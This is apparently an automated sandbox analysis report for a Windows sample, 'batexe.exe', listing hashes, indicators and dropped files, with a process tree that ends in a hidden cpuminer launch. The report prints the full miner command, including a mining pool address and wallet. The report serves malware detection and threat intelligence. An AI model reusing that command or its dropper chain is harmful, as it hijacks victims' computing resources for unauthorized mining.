73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 12:30

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4104	b2e.exe
3976	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3976	cpuminer-sse2.exe
3976	cpuminer-sse2.exe
3976	cpuminer-sse2.exe
3976	cpuminer-sse2.exe
3976	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4236-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4236 wrote to memory of 4104	4236	batexe.exe	75
PID 4236 wrote to memory of 4104	4236	batexe.exe	75
PID 4236 wrote to memory of 4104	4236	batexe.exe	75
PID 4104 wrote to memory of 1184	4104	b2e.exe	76
PID 4104 wrote to memory of 1184	4104	b2e.exe	76
PID 4104 wrote to memory of 1184	4104	b2e.exe	76
PID 1184 wrote to memory of 3976	1184	cmd.exe	79
PID 1184 wrote to memory of 3976	1184	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4236
- C:\Users\Admin\AppData\Local\Temp\8731.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8731.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8731.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8906.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1184
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8731.tmp\b2e.exe

Filesize
7.4MB

MD5
70c2c496643cb4d88794d9f2d96a645a

SHA1
cf8523e5467755dd52a3bccc63d8e3dbc3db4423

SHA256
58a9892a914748d31df2851258d9afd8ef40e284f2a811b2d169633108144614

SHA512
bcd7cd163889254e1771036665adb88d3cc742f20f54176790095d0897bc710f418908a86bc09c33841df40fb809cc097e234baa3ba3aba476b1de0f634f74a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\8731.tmp\b2e.exe

Filesize
7.1MB

MD5
92f5ab3178584b34fa27cb5212ad07d9

SHA1
6d76a26a653ab15b291efdd4eaf8de4b67ce9261

SHA256
6dc0eb984214400ae2c32dab03aa17a7ffaf2f69f1f571197c6d7a6847f429c4

SHA512
7fbc7ee0c3b2fc9b83e787108629b7ba026d44bf24a9ee80c444e16c359530c6a828d9df7382f6d8e6ffb3f78b2d185b39b8d857fa1c7e89fdb1ff231ae37973

Download Submit
C:\Users\Admin\AppData\Local\Temp\8906.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.4MB

MD5
35f60ce7150c733539cdedbe5cce53fa

SHA1
e20159659af5994dd70ee9930307949f40dda8f7

SHA256
5de8f93e179991b91f314824d79a588f8d61f36d932cf3249d9aba1e53d1c6da

SHA512
98d501a899e9b8624b82df92736e9a94a72f86106b2ce98f39131138f7a45eb8caf2e9727fdbe556929ede03fb8ae2a690f391f91e104c11dffced74c8691492

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.9MB

MD5
d86eed7954d8d4fc364eafde8aebe17c

SHA1
283871814b492105ddf557a1a5724da440b25c97

SHA256
929ec4214207dc5dd05aca2af55a2f66fe9611dc5ba33d9e495d360b81fabe52

SHA512
144aa97d627f38379ff32fc57fc316d351c52d750f6d90a6025460d0ec8b16551f556a0e6738246c36d0ae97cac8673373e75674c7303d94a5840d632c3c5e8b

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.5MB

MD5
ddced4a560c60bae5032a6a4b3f63bf9

SHA1
1a9702633514884300d7c27693e89911100415ae

SHA256
e908da64a6dff330712ec4195eaf12ca968b6699b345a08732c89fd347c9f5a8

SHA512
4b4680c1bb1fb4468162c6b6c8ebfa446990cf88b861fe07d9264dd7fd64783ec13f698f83b22a1c729e04d3551a132a3a27d21b3f645e0d8aaa2afe2a2bd312

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3976-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3976-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3976-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3976-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3976-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3976-43-0x0000000058FB0000-0x0000000059048000-memory.dmp

Filesize
608KB

Download
memory/3976-44-0x0000000001120000-0x00000000029D5000-memory.dmp

Filesize
24.7MB

Download
memory/3976-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3976-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3976-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3976-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3976-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3976-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3976-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3976-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4104-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4104-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4236-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download